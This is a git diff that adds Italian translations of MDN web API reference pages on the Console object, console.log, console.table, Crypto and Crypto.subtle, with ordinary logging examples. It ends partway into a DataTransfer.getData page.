+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("8.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prima di Gecko 8.0 {{ geckoRelease("8.0") }}, Gecko inviava l'evento WebSocket {{event("close")}} come semplice evento. Il supporto al <code>CloseEvent</code> è stato implementato in Gecko 8.0.</p>
+
+<p>[2] Prima di Gecko 12.0 {{ geckoRelease("12.0") }}, Gecko restituiva il codice di chiusura <code>CLOSE_NORMAL</code> anche quando il canale veniva chiuso a causa di un errore inatteso, o anche a causa di un errore non coperto dalla specifica. Adesso viene restituito <code>CLOSE_GOING_AWAY</code>.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en/WebSockets/WebSockets_reference/WebSocket" title="en/WebSockets/WebSockets reference/WebSocket"><code>WebSocket</code></a></li>
+</ul>
+
+<p> </p>
diff --git a/files/it/web/api/console/index.html b/files/it/web/api/console/index.html
new file mode 100644
index 0000000000..61521af0f3
--- /dev/null
+++ b/files/it/web/api/console/index.html
@@ -0,0 +1,294 @@
+---
+title: Console
+slug: Web/API/Console
+tags:
+  - API
+  - Debugging
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - console
+  - web console
+translation_of: Web/API/Console
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>The <strong><code>Console</code></strong> object provides access to the browser's debugging console (e.g. the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> in Firefox). The specifics of how it works varies from browser to browser, but there is a <em>de facto</em> set of features that are typically provided.</p>
+
+<p>The <code>Console</code> object can be accessed from any global object. {{domxref("Window")}} on browsing scopes and {{domxref("WorkerGlobalScope")}} as specific variants in workers via the property console. It's exposed as {{domxref("Window.console")}}, and can be referenced as simply <code>console</code>. For example:</p>
+
+<pre class="brush: js">console.log("Failed to open the specified link")</pre>
+
+<p>This page documents the {{anch("Methods")}} available on the <code>Console</code> object and gives a few {{anch("Usage")}} examples.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Console.assert()")}}</dt>
+ <dd>Log a message and stack trace to console if the first argument is <code>false</code>.</dd>
+ <dt>{{domxref("Console.clear()")}}</dt>
+ <dd>Clear the console.</dd>
+ <dt>{{domxref("Console.count()")}}</dt>
+ <dd>Log the number of times this line has been called with the given label.</dd>
+ <dt>{{domxref("Console.countReset()")}}</dt>
+ <dd>Resets the value of the counter with the given label.</dd>
+ <dt>{{domxref("Console.debug()")}}</dt>
+ <dd>Outputs a message to the console with the log level <code>"debug"</code>.
+ <div class="note"><strong>Note</strong>: Starting with Chromium 58 this method only appears in Chromium browser consoles when level "Verbose" is selected.</div>
+ </dd>
+ <dt>{{domxref("Console.dir()")}}</dt>
+ <dd>Displays an interactive listing of the properties of a specified JavaScript object. This listing lets you use disclosure triangles to examine the contents of child objects.</dd>
+ <dt>{{domxref("Console.dirxml()")}}</dt>
+ <dd>
+ <p>Displays an XML/HTML Element representation of the specified object if possible or the JavaScript Object view if it is not possible.</p>
+ </dd>
+ <dt>{{domxref("Console.error()")}}</dt>
+ <dd>Outputs an error message. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console.exception()")}} {{Non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>An alias for <code>error()</code>.</dd>
+ <dt>{{domxref("Console.group()")}}</dt>
+ <dd>Creates a new inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>, indenting all following output by another level. To move back out a level, call <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupCollapsed()")}}</dt>
+ <dd>Creates a new inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>, indenting all following output by another level. However, unlike <code>group()</code> this starts with the inline group collapsed requiring the use of a disclosure button to expand it. To move back out a level, call <code>groupEnd()</code>.</dd>
+ <dt>{{domxref("Console.groupEnd()")}}</dt>
+ <dd>Exits the current inline <a href="/en-US/docs/Web/API/console#Using_groups_in_the_console">group</a>.</dd>
+ <dt>{{domxref("Console.info()")}}</dt>
+ <dd>Informative logging of information. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console.log()")}}</dt>
+ <dd>For general output of logging information. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+ <dt>{{domxref("Console.profile()")}} {{Non-standard_inline}}</dt>
+ <dd>Starts the browser's built-in profiler (for example, the <a href="/en-US/docs/Tools/Performance">Firefox performance tool</a>). You can specify an optional name for the profile.</dd>
+ <dt>{{domxref("Console.profileEnd()")}} {{Non-standard_inline}}</dt>
+ <dd>Stops the profiler. You can see the resulting profile in the browser's performance tool (for example, the <a href="/en-US/docs/Tools/Performance">Firefox performance tool</a>).</dd>
+ <dt>{{domxref("Console.table()")}}</dt>
+ <dd>Displays tabular data as a table.</dd>
+ <dt>{{domxref("Console.time()")}}</dt>
+ <dd>Starts a <a href="/en-US/docs/Web/API/console#Timers">timer</a> with a name specified as an input parameter. Up to 10,000 simultaneous timers can run on a given page.</dd>
+ <dt>{{domxref("Console.timeEnd()")}}</dt>
+ <dd>Stops the specified <a href="/en-US/docs/Web/API/console#Timers">timer</a> and logs the elapsed time in seconds since it started.</dd>
+ <dt>{{domxref("Console.timeLog()")}}</dt>
+ <dd>Logs the value of the specified <a href="/en-US/docs/Web/API/console#Timers">timer</a> to the console.</dd>
+ <dt>{{domxref("Console.timeStamp()")}} {{Non-standard_inline}}</dt>
+ <dd>Adds a marker to the browser's <a href="https://developer.chrome.com/devtools/docs/timeline">Timeline</a> or <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> tool.</dd>
+ <dt>{{domxref("Console.trace()")}}</dt>
+ <dd>Outputs a <a href="/en-US/docs/Web/API/console#Stack_traces">stack trace</a>.</dd>
+ <dt>{{domxref("Console.warn()")}}</dt>
+ <dd>Outputs a warning message. You may use <a href="/en-US/docs/Web/API/console#Using_string_substitutions">string substitution</a> and additional arguments with this method.</dd>
+</dl>
+
+<h2 id="Usage" name="Usage">Usage</h2>
+
+<h3 id="Outputting_text_to_the_console" name="Outputting_text_to_the_console">Outputting text to the console</h3>
+
+<p>The most frequently-used feature of the console is logging of text and other data. There are four categories of output you can generate, using the {{domxref("console.log()")}}, {{domxref("console.info()")}}, {{domxref("console.warn()")}}, and {{domxref("console.error()")}} methods respectively. Each of these results in output styled differently in the log, and you can use the filtering controls provided by your browser to only view the kinds of output that interest you.</p>
+
+<p>There are two ways to use each of the output methods; you can simply pass in a list of objects whose string representations get concatenated into one string, then output to the console, or you can pass in a string containing zero or more substitution strings followed by a list of objects to replace them.</p>
+
+<h4 id="Outputting_a_single_object">Outputting a single object</h4>
+
+<p>The simplest way to use the logging methods is to output a single object:</p>
+
+<pre class="brush: js">var someObject = { str: "Some text", id: 5 };
+console.log(someObject);
+</pre>
+
+<p>The output looks something like this:</p>
+
+<pre>[09:27:13.475] ({str:"Some text", id:5})</pre>
+
+<h4 id="Outputting_multiple_objects">Outputting multiple objects</h4>
+
+<p>You can also output multiple objects by simply listing them when calling the logging method, like this:</p>
+
+<pre class="brush: js">var car = "Dodge Charger";
+var someObject = { str: "Some text", id: 5 };
+console.info("My first car was a", car, ". The object is:", someObject);</pre>
+
+<p>This output will look like this:</p>
+
+<pre>[09:28:22.711] My first car was a Dodge Charger . The object is: ({str:"Some text", id:5})
+</pre>
+
+<h4 id="Using_string_substitutions">Using string substitutions</h4>
+
+<p>Gecko 9.0 {{geckoRelease("9.0")}} introduced support for string substitutions. When passing a string to one of the console object's methods that accepts a string, you may use these substitution strings:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Substitution string</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td>%o or %O</td>
+   <td>Outputs a JavaScript object. Clicking the object name opens more information about it in the inspector.</td>
+  </tr>
+  <tr>
+   <td>%d or %i</td>
+   <td>Outputs an integer. Number formatting is supported, for example  <code>console.log("Foo %.2d", 1.1)</code> will output the number as two significant figures with a leading 0: <code>Foo 01</code></td>
+  </tr>
+  <tr>
+   <td>%s</td>
+   <td>Outputs a string.</td>
+  </tr>
+  <tr>
+   <td>%f</td>
+   <td>Outputs a floating-point value. Formatting is supported, for example  <code>console.log("Foo %.2f", 1.1)</code> will output the number to 2 decimal places: <code>Foo 1.10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note</strong>: Precision formatting doesn't work in Chrome</p>
+</div>
+
+<p>Each of these pulls the next argument after the format string off the parameter list. For example:</p>
+
+<pre>for (var i=0; i&lt;5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+</pre>
+
+<p>The output looks like this:</p>
+
+<pre>[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+</pre>
+
+<h4 id="Styling_console_output">Styling console output</h4>
+
+<p>You can use the <code>%c</code> directive to apply a CSS style to console output:</p>
+
+<pre class="brush: js">console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue;padding: 2px");</pre>
+
+<div>The text before the directive will not be affected, but the text after the directive will be styled using the CSS declarations in the parameter.</div>
+
+<div> </div>
+
+<div><img alt="" src="https://mdn.mozillademos.org/files/12527/CSS-styling.png" style="display: block; margin: 0 auto;"></div>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Note</strong>: Quite a few CSS properties are supported by this styling; you should experiment and see which ones prove useful.</p>
+</div>
+
+<div> </div>
+
+<div>{{h3_gecko_minversion("Using groups in the console", "9.0")}}</div>
+
+<p>You can use nested groups to help organize your output by visually combining related material. To create a new nested block, call <code>console.group()</code>. The <code>console.groupCollapsed()</code> method is similar but creates the new block collapsed, requiring the use of a disclosure button to open it for reading.</p>
+
+<div class="note"><strong>Note:</strong> Collapsed groups are not supported yet in Gecko; the <code>groupCollapsed()</code> method is the same as <code>group()</code> at this time.</div>
+
+<p>To exit the current group, simply call <code>console.groupEnd()</code>. For example, given this code:</p>
+
+<pre class="brush: js">console.log("This is the outer level");
+console.group();
+console.log("Level 2");
+console.group();
+console.log("Level 3");
+console.warn("More of level 3");
+console.groupEnd();
+console.log("Back to level 2");
+console.groupEnd();
+console.debug("Back to the outer level");
+</pre>
+
+<p>The output looks like this:</p>
+
+<p><img alt="nesting.png" class="default internal" src="/@api/deki/files/6082/=nesting.png"></p>
+
+<div>{{h3_gecko_minversion("Timers", "10.0")}}</div>
+
+<p>In order to calculate the duration of a specific operation, Gecko 10 introduced the support of timers in the <code>console</code> object. To start a timer, call the <code>console.time</code><code>()</code> method, giving it a name as the only parameter. To stop the timer, and to get the elapsed time in milliseconds, just call the <code>console.timeEnd()</code> method, again passing the timer's name as the parameter. Up to 10,000 timers can run simultaneously on a given page.</p>
+
+<p>For example, given this code:</p>
+
+<pre class="brush: js">console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");
+</pre>
+
+<p>Will log the time needed by the user to dismiss the alert box, log the time to the console, wait for the user to dismiss the second alert, and then log the ending time to the console:</p>
+
+<p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p>
+
+<p>Notice that the timer's name is displayed both when the timer is started and when it's stopped.</p>
+
+<div class="note"><strong>Note:</strong> It's important to note that if you're using this to log the timing for network traffic, the timer will report the total time for the transaction, while the time listed in the network panel is just the amount of time required for the header. If you have response body logging enabled, the time listed for the response header and body combined should match what you see in the console output.</div>
+
+<h3 id="Stack_traces">Stack traces</h3>
+
+<p>The console object also supports outputting a stack trace; this will show you the call path taken to reach the point at which you call {{domxref("console.trace()")}}. Given code like this:</p>
+
+<pre class="brush: js">function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+</pre>
+
+<p>The output in the console looks something like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7167/api-trace2.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>At least in Firefox, if a page defines a <code>console</code> object, that object overrides the one built into Firefox.</li>
+ <li>Prior to {{Gecko("12.0")}}, the console object's methods only work when the Web Console is open. Starting with {{Gecko("12.0")}}, output is cached until the Web Console is opened, then displayed at that time.</li>
+ <li>It's worth noting that the Firefox's built-in <code>Console</code> object is compatible with the one provided by <a class="external" href="http://getfirebug.com/" title="http://getfirebug.com/">Firebug</a>.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Tools" title="Tools">Tools</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console" title="Web Console">Web Console</a> — how the Web Console in Firefox handles console API calls</li>
+ <li><a href="/en-US/docs/Tools/Remote_Debugging">Remote debugging</a> — how to see console output when the debugging target is a mobile device</li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a> — how to do logging on Firefox OS devices</li>
+</ul>
+
+<h3 id="Other_implementations">Other implementations</h3>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Google Chrome DevTools</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/library/hh772173(v=vs.85).aspx">Internet Explorer</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Safari</a></li>
+</ul>
diff --git a/files/it/web/api/console/log/index.html b/files/it/web/api/console/log/index.html
new file mode 100644
index 0000000000..4229185824
--- /dev/null
+++ b/files/it/web/api/console/log/index.html
@@ -0,0 +1,88 @@
+---
+title: console.log()
+slug: Web/API/Console/log
+translation_of: Web/API/Console/log
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary">Il metodo  <strong><code>log()</code></strong> di {{domxref("Console")}} stampa un messaggio sulla web console.</span> Il messaggio può essere una semplice stringa (opzionalmente, anche con valori sostituibili), o può essere uno qualsiasi o più oggetti JavaScript.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">console.log(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.log(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Una lista di oggetti JavaScript da stampare. La rappresentazione sotto forma di stringa di ciascuno di questi oggetti sarà messa in coda nell'ordine presentato e stampata. Perfavore fai attenzione che se tu stampi degli oggetti nelle ultime versioni si Chrome e Firefox quello che otterrai sarà un <em>riferimento all'oggetto</em>, che non necessariamente è il 'valore' dell'oggetto nel momento della chiamata di <code>console.log()</code>, ma è il valore dell'oggetto al momento in cui tu apri la console.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Una stringa JavaScript contenente zero o più stringhe da sostituire.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Oggetti JavaScript con i quali verranno sostituite le stringhe da sostituire in <code>msg</code>. Questo ti offre controlli aggiuntivi sul formato dell'output</dd>
+</dl>
+
+<p>Vedi <a href="/en-US/docs/DOM/console#Outputting_text_to_the_console">Stampare del testo sulla Console</a> nella documentazione di {{domxref("console")}} per maggiori dettagli.</p>
+
+<h2 id="Differenza_tra_log_e_dir">Differenza tra log() e dir()</h2>
+
+<p>Ti potresti esser chiesto qual è la differenza tra {{domxref("console.dir()")}} e <code>console.log()</code>.</p>
+
+<p>Un'altra utile differenza esiste in Chrome quando invii elementi DOM alla console.</p>
+
+<p><img alt="" src="https://i.imgur.com/DozDcYR.png"></p>
+
+<p>Nota bene:</p>
+
+<ul>
+ <li><code>console.log</code> stampa gli elementi in un albero HTML-like.</li>
+ <li><code>console.dir</code> stampa gli elementi in un albero JSON-like.</li>
+</ul>
+
+<p>Specificamente, <code>console.log</code> offre un trattamento speciale agli elementi del DOM, mentre <code>console.dir</code> non lo fa. Ė spesso utile quando si prova a vedere la rappresentazione completa degli oggetti JS del DOM.</p>
+
+<p>Ulteriori informazioni si possono trovare sulle <a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">Chrome Console API reference</a> su questa e altre funzioni.</p>
+
+<h2 id="Registrare_loggare_gli_oggetti">Registrare (loggare) gli oggetti</h2>
+
+<p>Non usare <code>console.log(obj)</code>, usa <code>console.log(JSON.parse(JSON.stringify(obj)))</code>.</p>
+
+<p>In questo modo sarai sicuro di visulizzare il valore di <code>obj</code> al momento in cui lo stai registrando (loggando). Altrimenti, svariati browser offrono una vista live che aggiorna costantemente i valori non appena cambiano. Potrebbe non essere quel che cerchi.</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#log", "console.log()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div class="hidden">La tabella delle compatibilità su questa pagina è generata da dati strutturati. ISe volessi contribuire sui dati, perfavore visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</div>
+
+<p>{{Compat("api.Console.log")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Documentazione Opera Dragonfly: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Usare gli strumenti della Console F12 per vedere Errori e Stati</a></li>
+ <li><a href="http://getfirebug.com/wiki/index.php/Console_API">Firebug wiki: Console API</a> - Firebug supporta features aggiuntive nella sua implementazione della console.log(), come il <a href="http://www.softwareishard.com/blog/firebug/firebug-tip-styled-logging/">logging con stile</a>.</li>
+ <li><a href="http://nodejs.org/docs/latest/api/console.html#console_console_log_data">NodeJS: Console API</a></li>
+</ul>
diff --git a/files/it/web/api/console/table/index.html b/files/it/web/api/console/table/index.html
new file mode 100644
index 0000000000..d2ae5bbce2
--- /dev/null
+++ b/files/it/web/api/console/table/index.html
@@ -0,0 +1,143 @@
+---
+title: Console.table()
+slug: Web/API/Console/table
+translation_of: Web/API/Console/table
+---
+<div> {{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary">Visualizza dati tabulari come una tabella.</span></p>
+
+<p>Questa funzione richiede un argomento obbligatorio <code>data</code>, che deve essere un array di oggetti, ed un parametro opzionale <code>columns</code>.</p>
+
+<p>La funzione visualizza <code>data</code> come una tabella ed ogni elemento dell'array (o ogni sua proprietà numerabile se <code>data</code> è un oggetto) sarà una riga della tabella.</p>
+
+<p>La prima colonna della tabella rappresenta l'etichetta <code>(index)</code>. Se <code>data</code> è un array allora il valore sarà il suo indice nell'array. Se, invece, <code>data</code> è un oggetto, il suo valore sarà il nome della proprietà. Nota che (in Firefox) <code>console.table</code> limita a 1000 la visualizzazione delle righe (la prima riga contiene i nomi delle etichette).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h3 id="Collezioni_di_tipi_di_primitive">Collezioni di tipi di primitive</h3>
+
+<p>L'argomento <code>data</code> può essere un array o un oggetto.</p>
+
+<pre class="brush: js">// array di stringhe
+
+console.table(["apples", "oranges", "bananas"]);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8567/console-table-array.png"></p>
+
+<pre class="brush: js">// un oggetto le cui proprietà sono stringhe
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var me = new Person("John", "Smith");
+
+console.table(me);</pre>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8559/console-table-simple-object.png"></p>
+
+<h3 id="Collezioni_di_tipi_composti">Collezioni di tipi composti</h3>
+
+<p>Se l'elemento nell'array o le proprietà nell'oggetto sono a loro volta array o oggetti, allora i loro elementi o proprietà sono enumerati nella riga, uno per colonna:</p>
+
+<pre class="brush: js">// un array di arrays
+
+var people = [["John", "Smith"], ["Jane", "Doe"], ["Emily", "Jones"]]
+console.table(people);</pre>
+
+<p><img alt="Table displaying array of arrays" src="https://mdn.mozillademos.org/files/8561/console-table-array-of-array.png"></p>
+
+<pre class="brush: js">// un array di oggetti
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily]);</pre>
+
+<p>Nota che se l'array contiene oggetti, allora le colonne sono etichettate con il nome della proprietà.</p>
+
+<p><img alt="Table displaying array of objects" src="https://mdn.mozillademos.org/files/8563/console-table-array-of-objects.png"></p>
+
+<pre class="brush: js">// un oggetto le cui proprietà sono oggetti
+
+var family = {};
+
+family.mother = new Person("Jane", "Smith");
+family.father = new Person("John", "Smith");
+family.daughter = new Person("Emily", "Smith");
+
+console.table(family);</pre>
+
+<p><img alt="Table displaying object of objects" src="https://mdn.mozillademos.org/files/8565/console-table-object-of-objects.png"></p>
+
+<h3 id="Restringimento_delle_colonne_visualizzate">Restringimento delle colonne visualizzate</h3>
+
+<p>Di default, <code>console.table()</code> visualizza la lista di elementi in ogni riga. Puoi usare il parametro opzionale <code>columns</code> per selezionare un sottoinsieme delle colonne da visualizzare:</p>
+
+<pre class="brush: js">// un array di oggetti, visualizzando solo firstName
+
+function Person(firstName, lastName) {
+  this.firstName = firstName;
+  this.lastName = lastName;
+}
+
+var john = new Person("John", "Smith");
+var jane = new Person("Jane", "Doe");
+var emily = new Person("Emily", "Jones");
+
+console.table([john, jane, emily], ["firstName"]);</pre>
+
+<p><img alt="Table displaying array of objects with filtered output" src="https://mdn.mozillademos.org/files/8569/console-table-array-of-objects-firstName-only.png"></p>
+
+<h3 id="Ordinamento_delle_colonne">Ordinamento delle colonne</h3>
+
+<p>Puoi ordinare la tabella in base ad una particolare colonna cliccando sulla sua etichetta.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">console.table(data [, <em>columns</em>]);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Il dato da visualizzare. Deve essere un oggetto o un array.</dd>
+ <dt><code>columns</code></dt>
+ <dd>Un array contenente i nomi delle colonne da includere nell'output.</dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#table", "console.table()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<div>
+
+
+<p>{{Compat("api.Console.table")}}</p>
+</div>
diff --git a/files/it/web/api/crypto/index.html b/files/it/web/api/crypto/index.html
new file mode 100644
index 0000000000..0add9721d2
--- /dev/null
+++ b/files/it/web/api/crypto/index.html
@@ -0,0 +1,68 @@
+---
+title: Crypto
+slug: Web/API/Crypto
+tags:
+  - API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web Crypto API
+translation_of: Web/API/Crypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>The <code><strong>Crypto</strong></code> interface represents basic cryptography features available in the current context. It allows access to a cryptographically strong random number generator and to cryptographic primitives.</p>
+
+<p>An object with this interface is available on Web context via the {{domxref("Window.crypto")}} property.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface implements properties defined on {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}</dt>
+ <dd>Returns a {{domxref("SubtleCrypto")}} object providing access to common cryptographic primitives, like hashing, signing, encryption or decryption.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface implements methods defined on {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.getRandomValues()")}}</dt>
+ <dd>Fills the passed {{ jsxref("TypedArray") }} with cryptographically sound random values.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Crypto API", "#crypto-interface", "Crypto")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.Crypto")}}</p>
+</div>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/it/web/api/crypto/subtle/index.html b/files/it/web/api/crypto/subtle/index.html
new file mode 100644
index 0000000000..ae850ea329
--- /dev/null
+++ b/files/it/web/api/crypto/subtle/index.html
@@ -0,0 +1,52 @@
+---
+title: Crypto.subtle
+slug: Web/API/Crypto/subtle
+tags:
+  - API
+  - Crittografia
+  - D
+  - Proprietà
+  - Riferimenti
+  - Sola lettura
+  - Web Crypto API
+translation_of: Web/API/Crypto/subtle
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>La proprietà in sola lettura <strong><code>Crypto.subtle</code></strong> restituisce un oggetto {{domxref("SubtleCrypto")}}, rendendo disponibili le funzioni crittografiche.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre>var <em>crypto</em> = crypto.subtle;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#dfn-Crypto', 'Crypto.subtle') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">La tabella di compatiblità in questa pagina è generata dai dati disponibili. Se desideri contribuire, scarica il codice da <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ed inviaci uan richiesta di allineamento.</div>
+
+<p>{{Compat("api.Crypto.subtle")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}}.</li>
+ <li>{{domxref("SubtleCrypto")}}.</li>
+ <li><a href="https://vibornoff.github.io/webcrypto-examples/index.html">Compatibilità</a>.</li>
+ <li><a href="https://github.com/vibornoff/webcrypto-shim">Adeguamento per IE11 e Safari</a>.</li>
+</ul>
diff --git a/files/it/web/api/datatransfer/getdata/index.html b/files/it/web/api/datatransfer/getdata/index.html
new file mode 100644
index 0000000000..635da432ed
--- /dev/null
+++ b/files/it/web/api/datatransfer/getdata/index.html
@@ -0,0 +1,161 @@
+---
+title: DataTransfer.getData()
+slug: Web/API/DataTransfer/getData
+translation_of: Web/API/DataTransfer/getData
+---
+<div>
+<p> </p>
+{{APIRef("HTML DOM")}}</div>
+
+<p>Il metodo <strong><code>DataTransfer.getData()</code></strong> recupera i dati del trascinamento  (come {{domxref("DOMString")}}) per il <em>data type</em> specificato. Se l'operazione di trascinamento non include dati, questo metodo restituisce una stringa vuota.</p>
+
